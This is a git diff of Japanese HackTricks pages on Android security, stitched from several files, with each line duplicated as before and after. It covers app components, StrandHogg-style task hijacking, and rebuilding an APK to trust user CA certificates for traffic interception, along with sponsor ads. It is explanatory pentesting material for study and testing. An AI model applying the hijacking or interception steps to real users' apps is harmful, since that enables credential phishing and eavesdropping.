<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
注意:**アクティビティの保護をバイパスする能力は常に脆弱性ではありません**。アクセスしたデータを確認する必要があります。 注意:**アクティビティの保護をバイパスする能力は常に脆弱性ではありません**。アクセスしたデータを確認する必要があります。
また、**一部のアクティビティは呼び出し元にデータを返します**。この場合、**`setResult`**メソッドを検索し、Intentパラメータに渡されるデータを確認する必要があります。**もしデータが機密情報であれば、情報漏洩の脆弱性が存在し、アクティビティと通信可能なアプリで悪用される可能性があります**。 また、**一部のアクティビティは呼び出し元にデータを返します**。この場合、**`setResult`**メソッドを検索し、Intentパラメータに渡されるデータを確認する必要があります。**もしデータが機密情報であれば、情報漏洩の脆弱性があり、アクティビティと通信可能なアプリで悪用される可能性があります**。
**アクティビティのコードは`onCreate`メソッドで始まります**。 **アクティビティのコードは`onCreate`メソッドで始まります**。
@ -297,13 +286,13 @@ Androidアプリケーションは、[Application](https://developer.android.com
### サービス ### サービス
[サービス](https://developer.android.com/guide/components/services)は**UIを持たずにバックグラウンドで実行されます**。ユーザーが別のアプリケーションを使用し始めても、**長時間実行されるプロセスを実行するために使用されます**。 [サービス](https://developer.android.com/guide/components/services)は、**UIを持たないバックグラウンドで実行される**ものです。**ユーザーが別のアプリケーションを使用し始めても、長時間実行するために使用されます**。
サービスはさまざまな方法で開始されるため、アプリケーションのエントリーポイントとなります。サービスをエントリーポイントとして開始するデフォルトの方法は、**Intents**を使用することです。 サービスはさまざまな方法で開始されるため、アプリケーションのエントリーポイントとなります。サービスをエントリーポイントとして開始するデフォルトの方法は、**インテント**を使用することです。
サービスを開始するために**`startService`**メソッドが呼び出されると、サービス内の**`onStart`**メソッドが実行されます。このメソッドは**`stopService`**メソッドが呼び出されるまで無期限に実行されます。クライアントが接続されている間だけサービスが必要な場合は、**`bindService`**メソッドを使用してクライアントがサービスに「バインド」する必要があります。 サービスを開始するために**`startService`**メソッドが呼び出されると、サービス内の**`onStart`**メソッドが実行されます。このメソッドは**`stopService`**メソッドが呼び出されるまで無期限に実行されます。サービスがクライアントが接続している間だけ必要な場合は、クライアントは**`bindService`**メソッドを使用してサービスに「バインド」する必要があります。
**バインドされたサービス**の場合(前のセクションを参照)、データは**`onBind`**メソッドに渡されます。 **バウンドサービス**の場合(前のセクションを参照)、データは**`onBind`**メソッドに渡されます。
たとえば、サービスはユーザーが別のアプリケーションにいる間にバックグラウンドで音楽を再生したり、ネットワーク経由でデータを取得したりする場合があります。 たとえば、サービスはユーザーが別のアプリケーションにいる間にバックグラウンドで音楽を再生したり、ネットワーク経由でデータを取得したりする場合があります。
@ -336,13 +325,13 @@ Androidアプリケーションは、[Application](https://developer.android.com
コンテンツプロバイダーは、関係データベースなどの**構造化データをアプリ間で共有する方法**です。そのため、これらを保護するために**パーミッション**を使用し、適切な保護レベルを設定することが非常に重要です。\ コンテンツプロバイダーは、関係データベースなどの**構造化データをアプリ間で共有する方法**です。そのため、これらを保護するために**パーミッション**を使用し、適切な保護レベルを設定することが非常に重要です。\
コンテンツプロバイダーは、アプリが持つ必要のあるパーミッションを指定するために**`readPermission`**および**`writePermission`**属性を使用することができます。**これらのパーミッションは、permission属性よりも優先されます**。\ コンテンツプロバイダーは、アプリが持つ必要のあるパーミッションを指定するために**`readPermission`**および**`writePermission`**属性を使用することができます。**これらのパーミッションは、permission属性よりも優先されます**。\
さらに、**`grantUriPermission`**をtrueに設定し、その後、マニフェストファイル内のプロバイダ要素内の**`grant-uri-permission`**要素で適切なパラメータを設定することで、**一時的な例外を許可することもできます** さらに、**`grantUriPermission`**をtrueに設定し、その後、マニフェストファイル内のプロバイダ要素内の**`grant-uri-permission`**要素で適切なパラメータを設定することで、**一時的な例外を許可する**こともできます。
**`grant-uri-permission`**には、path、pathPrefix、pathPatternの3つの属性があります。 **`grant-uri-permission`**には、path、pathPrefix、pathPatternの3つの属性があります。
* **path**: 除外するための完全なパスを指定する * **path**: 除外するための完全なパスを指定する
* **pathPrefix**: パスの先頭部分を指定する * **pathPrefix**: パスの先頭部分を指定する
* **pathPattern**: ワイルドカードとシンボリック置換を使用して、より細かい制御を行うことができる * **pathPattern**: ワイルドカードとシンボリック置換を使用して、より詳細な制御を行う
潜在的な脆弱性SQLインジェクションなどを回避するために、受け取った入力を**検証およびサニタイズすることが重要です**。 潜在的な脆弱性SQLインジェクションなどを回避するために、受け取った入力を**検証およびサニタイズすることが重要です**。
@ -377,29 +366,29 @@ android:resource="@xml/filepaths" />
<files-path path="images/" name="myimages" /> <files-path path="images/" name="myimages" />
</paths> </paths>
``` ```
**`path="."`**のようなものを共有することは、プロバイダがエクスポートされていなくても、コードの他の部分で脆弱性がある場合には**危険**です。\ **`path="."`**のようなものを共有することは、プロバイダがエクスポートされていなくても、コードの他の部分で脆弱性がある場合には危険です。\
`content://com.example.myapp.fileprovider/myimages/default_image.jpg`を使用して、そのフォルダ内の**画像**にアクセスすることができます。 `content://com.example.myapp.fileprovider/myimages/default_image.jpg`を使用して、そのフォルダ内の**画像**にアクセスすることができます。
`<paths>`要素には複数の子要素を持つことができ、それぞれが共有する異なるディレクトリを指定します。**`<files-path>`**要素に加えて、**`<external-path>`**要素を使用して外部ストレージのディレクトリを共有し、**`<cache-path>`**要素を使用して内部キャッシュディレクトリのディレクトリを共有することもできます。\ `<paths>`要素には複数の子要素を持つことができ、それぞれが共有する異なるディレクトリを指定します。**`<files-path>`**要素に加えて、**`<external-path>`**要素を使用して外部ストレージのディレクトリを共有し、**`<cache-path>`**要素を使用して内部キャッシュディレクトリのディレクトリを共有することもできます。\
[特定のファイルプロバイダ属性の詳細については、こちらを参照してください。](https://developer.android.com/reference/androidx/core/content/FileProvider) [特定のファイルプロバイダの属性に関する詳細はこちらを参照してください。](https://developer.android.com/reference/androidx/core/content/FileProvider)
[FileProvidersに関する詳細はこちらを参照してください。](https://developer.android.com/training/secure-file-sharing/setup-sharing). [FileProvidersに関する詳細はこちらを参照してください。](https://developer.android.com/training/secure-file-sharing/setup-sharing).
## WebViews ## WebViews
WebViewsはAndroidアプリに埋め込まれた実質的な**ウェブブラウザ**です。\ WebViewsはAndroidアプリに埋め込まれた**ウェブブラウザ**です。\
WebViewsのコンテンツはリモートサイトから取得することも、アプリに含まれるファイルから取得することもできます。\ WebViewsのコンテンツはリモートサイトから取得することも、アプリに含まれるファイルから取得することもできます。\
WebViewsは**他のウェブブラウザと同じ脆弱性に対しても脆弱です**。ただし、**攻撃の表面を制限するためのいくつかの設定**があります。 WebViewsは**他のウェブブラウザと同じ脆弱性に対しても脆弱です**。ただし、**攻撃の表面を制限するためのいくつかの設定**があります。
Androidには2つのタイプのWebViewsがあります: Androidには2つのタイプのWebViewがあります
* **WebViewClient**は、シンプルなHTMLのレンダリングに最適です。これはJSのalert関数を実行しません。したがって、この関数を使用したXSSテストは無効になります。 * **WebViewClient**は、シンプルなHTMLのレンダリングに最適です。これはJSのalert関数を実行しません。したがって、この関数を使用したXSSテストは無効になります。
* **WebChromeクライアント**はChromeブラウザです。 * **WebChromeクライアント**はChromeブラウザです。
なお、**WebViewブラウザはネイティブブラウザのクッキーにアクセスできません**。 なお、**WebViewブラウザはネイティブブラウザのクッキーにアクセスできません**。
URLまたはファイルを読み込むには、**`loadUrl`**、**`loadData`**、または**`loadDataWithBaseURL`**関数を使用することができます。**サニタイズされたURLにのみアクセスすることが重要です。**\ URLまたはファイルを読み込むには、**`loadUrl`**、**`loadData`**、または**`loadDataWithBaseURL`**関数を使用することができます。**サニタイズされたURLにのみアクセスすることが重要です。**\
WebViewのセキュリティは**`WebSettings`**オブジェクトを介して設定することができます。\ WebViewのセキュリティは**`WebSettings`**オブジェクトを介して設定することができます。\
たとえば、JSコードの実行を無効にするには、**`setJavaScriptEnabled`**メソッドを**`false`**の値で使用します。これにより、XSSやその他のJS関連の脆弱性の可能性がなくなります。 たとえば、JSコードの実行を無効にするには、**`setJavaScriptEnabled`**メソッドを**`false`**の値で使用します。これにより、XSSやその他のJS関連の脆弱性の可能性がなくなります。
JavaScriptの「**Bridge**」機能は、JavaオブジェクトをWebViewに**注入し、JSからアクセス可能にします**。Android 4.2以降では、JavaScriptからアクセス可能にするためにメソッドに**`@JavascriptInterface`**を注釈する必要があります。 JavaScriptの「**Bridge**」機能は、JavaオブジェクトをWebViewに**注入し、JSからアクセス可能にします**。Android 4.2以降では、JavaScriptからアクセス可能にするためにメソッドに**`@JavascriptInterface`**を注釈する必要があります。
@ -419,12 +408,12 @@ JavaScriptの「**Bridge**」機能は、JavaオブジェクトをWebViewに**
* Androidでは、アプリをインストールする前に、**すべてのアプリがデジタル証明書で署名される必要があります**。Androidはこの証明書を使用してアプリの作者を識別します。 * Androidでは、アプリをインストールする前に、**すべてのアプリがデジタル証明書で署名される必要があります**。Androidはこの証明書を使用してアプリの作者を識別します。
* デバイスでアプリを実行するには、アプリは署名されている必要があります。アプリがデバイスにインストールされると、パッケージマネージャはapkファイルの証明書が正しく署名されているかどうかを検証します。 * デバイスでアプリを実行するには、アプリは署名されている必要があります。アプリがデバイスにインストールされると、パッケージマネージャはapkファイルの証明書が正しく署名されているかどうかを検証します。
* アプリは自己署名されるか、CAを介して署名されることがあります。 * アプリは自己署名されるか、CAを介して署名されることがあります。
* アプリケーションの署名により、アプリはよく定義されたIPCを介して他のアプリにアクセスすることはできませんし、変更されずにデバイスに渡されることも保証されます。 * アプリの署名により、アプリはウェル定義されたIPCを介して他のアプリにアクセスすることはできず、変更されずにデバイスに渡されることが保証されます。
### **アプリケーションの検証** ### **アプリケーションの検証**
* Android 4.2以降、アプリケーションの検証がサポートされています。ユーザーは「アプリの検証」を有効にすることができ、アプリケーションがインストール前にアプリケーション検証プログラムによって評価されます。 * Android 4.2以降、アプリケーションの検証がサポートされています。ユーザーは「アプリの検証」を有効にすることができ、アプリケーションがインストール前にアプリケーション検証プログラムによって評価されます。
* アプリケーションの検証では、ユーザーが有害なアプリをインストールしようとした場合にユーザーに警告することができます。特に悪質なアプリケーションの場合、インストールをブロックすることもできます。 * アプリの検証では、ユーザーが有害なアプリをインストールしようとした場合にユーザーに警告することができます。特に悪質なアプリの場合、インストールをブロックすることもできます。
## モバイルデバイス管理 ## モバイルデバイス管理
@ -432,15 +421,14 @@ MDMまたはモバイルデバイス管理は、モバイルデバイス上で
一般的に、MDMソリューションはパスワードポリシーの強制、ストレージの暗号化の強制、デバイスデータのリモートワイプの有効化などの機能を実行します。 一般的に、MDMソリューションはパスワードポリシーの強制、ストレージの暗号化の強制、デバイスデータのリモートワイプの有効化などの機能を実行します。
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。** 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\ <details>
各検証済みのバグで
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥

View file

@ -12,30 +12,38 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## タスク、バックスタック、フォアグラウンドアクティビティ ## タスク、バックスタック、フォアグラウンドアクティビティ
タスクは、特定の作業を実行する際にユーザーが対話するアクティビティのコレクションです。アクティビティは、開かれた順にスタック(**バックスタック**)に配置されます。 タスクは、特定の作業を実行する際にユーザーが対話するアクティビティのコレクションです。アクティビティは、開かれた順にスタック(_**バックスタック**_)に配置されます。
画面に**表示される**アクティビティは、**フォアグラウンドアクティビティ**と呼ばれ、その**タスク**は**フォアグラウンドタスク**と呼ばれます。一度に、**画面には1つのフォアグラウンドタスクが表示されます**。 画面に**表示される**アクティビティは**フォアグラウンドアクティビティ**と呼ばれ、その**タスク**は**フォアグラウンドタスク**と呼ばれます。一度に**画面には1つのフォアグラウンドタスクが表示されます**。
以下は、シンプルなアクティビティのフローです: これは簡単なアクティビティフローです:
* フォアグラウンドにはアクティビティ1しかありません。 * フォアグラウンドにはアクティビティ1しかありません。
* アクティビティ2が開始され、アクティビティ1がバックスタックにプッシュされます。これにより、アクティビティ2がフォアグラウンドになります。 * アクティビティ2が開始され、アクティビティ1がバックスタックにプッシュされます。今、アクティビティ2がフォアグラウンドにあります。
* アクティビティ3が開始され、アクティビティ1と2がバックスタックにプッシュされます。 * アクティビティ3が開始され、アクティビティ1と2がバックスタックにプッシュされます。
* これでアクティビティ3が閉じられると、前のアクティビティである2が自動的にフォアグラウンドに表示されます。これがAndroidでのタスクナビゲーションの動作方法です。 * 今、アクティビティ3が閉じられたら、前のアクティビティである2が自動的にフォアグラウンドに表示されます。これがAndroidでのタスクナビゲーションの動作方法です。
![](<../../.gitbook/assets/image (548).png>) ![](<../../.gitbook/assets/image (548).png>)
### Androidマルチタスキング - 1つのタスク ### Androidマルチタスキング - 1つのタスク
1つのタスクは複数のアクティビティで構成されます 1つのタスクは複数のアクティビティで構成されます
![](<../../.gitbook/assets/image (549).png>) ![](<../../.gitbook/assets/image (549).png>)
### Androidマルチタスキング - 複数のタスク ### Androidマルチタスキング - 複数のタスク
通常、Androidは複数のタスクを管理します Androidは通常、複数のタスクを管理します
![](<../../.gitbook/assets/image (550).png>) ![](<../../.gitbook/assets/image (550).png>)
@ -55,7 +63,7 @@ PoCアプリを作成する際にこれを使用します。
<activity android:taskAffinity=""/> <activity android:taskAffinity=""/>
``` ```
**起動モード**は、新しいアクティビティのインスタンスが現在のタスクと関連付けられる方法を定義することができます。[`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode)属性は、アクティビティがどのようにタスクに起動されるかに関する指示を指定します。\ **起動モード**は、新しいアクティビティのインスタンスが現在のタスクと関連付けられる方法を定義することができます。[`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode)属性は、アクティビティがどのようにタスクに起動されるかに関する指示を指定します。\
以下には、4つの異なる**起動モード**があります: 以下は、4つの異なる**起動モード**です:
1. standardデフォルト 1. standardデフォルト
2. singleTop 2. singleTop
@ -73,7 +81,7 @@ AMSは新しいタスクを作成し、新しく作成されたアクティビ
### 攻撃 ### 攻撃
被害者は、自分のデバイスに**悪意のあるアプリ**を**インストール**する必要があります。その後、**脆弱な**アプリケーションを**開く****前に**、**悪意のある**アプリケーションを**開く**必要があります。その後、**脆弱な**アプリケーションが**開かれる**と、**悪意のある**アプリケーションが**代わりに開かれます**。この悪意のあるアプリケーションが脆弱なアプリケーションと**同じログイン画面を表示する場合、ユーザーは自分の資格情報を悪意のあるアプリケーションに入力していることを知る手段を持っていません**。 被害者は、自分のデバイスに**悪意のあるアプリ**を**インストール**する必要があります。その後、**脆弱な**アプリを**開く****前に**、**悪意のある**アプリを**開く**必要があります。その後、**脆弱な**アプリが**開かれる**と、**悪意のある**アプリが**代わりに開かれます**。この悪意のあるアプリが脆弱なアプリと**同じログイン画面**を表示する場合、**ユーザーは自分の資格情報を悪意のあるアプリに入力していることを知る手段を持っていません**。
**攻撃の実装例はこちらで見つけることができます:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg) **攻撃の実装例はこちらで見つけることができます:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
@ -86,14 +94,20 @@ AMSは新しいタスクを作成し、新しく作成されたアクティビ
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて迅速に修正できるようにしましょう。Intruderは攻撃対象の範囲を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details> </details>

View file

@ -2,7 +2,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
@ -14,8 +14,15 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
一部のアプリケーションは、ユーザーがダウンロードした証明書を受け付けないため、一部のアプリのWebトラフィックを検査するために、実際にはアプリケーションを逆コンパイルしていくつかの変更を加え、再コンパイルする必要があります。 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
一部のアプリケーションは、ユーザーがダウンロードした証明書を受け付けない場合があります。そのため、一部のアプリのWebトラフィックを検査するには、実際にアプリケーションを逆コンパイルしていくつかの変更を加え、再コンパイルする必要があります。
# 自動 # 自動
@ -39,7 +46,7 @@
![](../../.gitbook/assets/img11.png) ![](../../.gitbook/assets/img11.png)
次に、**res/xml**フォルダに移動し、次の内容でnetwork_security_config.xmlという名前のファイルを作成/変更します: 次に、**res/xml**フォルダに移動し、次の内容でnetwork\_security\_config.xmlという名前のファイルを作成/変更します:
```markup ```markup
<network-security-config> <network-security-config>
<base-config> <base-config>
@ -52,24 +59,31 @@
</base-config> </base-config>
</network-security-config> </network-security-config>
``` ```
次に、以下のコマンドを使用して、ファイルを保存し、すべてのディレクトリから戻り、次のコマンドでapkを再構築します`apktool b *folder-name/* -o *output-file.apk*` 次に、ファイルを保存し、すべてのディレクトリから抜け出し、次のコマンドでapkを再構築します`apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png) ![](../../.gitbook/assets/img12.png)
最後に、新しいアプリケーションに署名するだけです。[このページのSmaliセクションを読んで、どのように署名するかを学んでください](smali-changes.md#sing-the-new-apk)。 最後に、新しいアプリケーションに署名するだけです。[このページのSmaliセクションを読んで、署名方法を学んでください](smali-changes.md#sing-the-new-apk)。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう - [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**フォロー**してください**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -1,25 +1,25 @@
# Android APK チェックリスト # Android APK チェックリスト
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
